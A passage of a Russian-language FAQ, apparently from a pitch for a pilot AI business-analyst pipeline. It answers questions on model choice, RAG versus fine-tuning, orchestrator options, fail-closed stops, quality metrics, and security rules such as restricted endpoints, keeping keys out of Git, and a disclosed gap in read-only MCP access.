\u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\n\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u0442\u0435\u0440\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\\n\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\nEndpoint Mango AI \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 VPN. \u041a\u043b\u044e\u0447\\n\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442. \u041f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b,\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0442\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0434\u0443\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\\nPR \u0432 Source \u0438 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439.\\n\\n\u041f\u0440\u043e\u0431\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0434\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0438\u043c: \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f Jira \u0438 Confluence\\n\u0447\u0435\u0440\u0435\u0437 MCP \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n\u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432, \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c\\n([\u0413-12](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-12)).\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0412\\n\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043e\u0434\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0430\u043c\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC 